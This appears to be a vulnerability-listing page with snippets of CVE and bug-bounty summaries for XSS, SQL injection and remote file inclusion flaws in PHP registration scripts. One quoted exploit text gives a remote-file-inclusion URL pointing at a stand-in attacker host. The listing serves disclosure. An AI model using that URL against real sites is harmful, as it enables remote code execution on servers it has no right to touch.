spieldasleben.com XSS vulnerability

Open Bug Bounty ID: OBB-660345 Description| Value ---|--- Affected Website:| spieldasleben.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

CVE-2013-7303: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in 1 squelettes-dist/formulaires/inscription.php and 2 prive/forms/editerauteur.php in SPIP before 2.1.25 and 3.0.x before 3.0.13 allow remote attackers to inject arbitrary web script or HTML via the author name field...

CVE-2008-0851: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in Dokeos 1.8.4 allow remote attackers to inject arbitrary web script or HTML via the 1 username parameter to inscription.php, 2 courseCode parameter to main/calendar/myagenda.php, 3 category parameter to main/admin/coursecategory.php, 4 message...

CVE-2008-0851

CVE-2008-0851 affects Dokeos 1.8.4 with multiple cross-site scripting (XSS) vulnerabilities. Remote attackers can inject arbitrary web script/HTML via (1) username in inscription.php, (2) courseCode in main/calendar/myagenda.php, (3) category in main/admin/course_category.php, (4) message in main...

CVE-2008-0282: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in welcome/inscription.php in DomPHP 0.81 and earlier allows remote attackers to execute arbitrary SQL commands via the mail parameter...

portailphp17.txt

Portail PHP v1.7 - chemin Remote Inclusion Vulnerability Author: C-W-M www.meftunnet.com TURKEI script: Portail PHP Class : Remote cont@ct: meftunatmeftunnetdotcom CODE: include "$chemin/include/config.php" Exploit: http://www.site.com/path/modmembre/inscription.php?chemin=http://evilscripts? Tha...

CVE-2006-3922: Undefined Security Weakness

PHP remote file inclusion vulnerability in modmembre/inscription.php in PortailPHP 1.7 allows remote attackers to execute arbitrary PHP code via a URL in the chemin parameter...

CVE-2006-1434: Undefined Security Weakness

Cross-site scripting XSS vulnerability in inscription.php in Annuaire Directory 1.0 allows remote attackers to inject arbitrary web script or HTML via the Comment Field COMMENTAIRE parameter...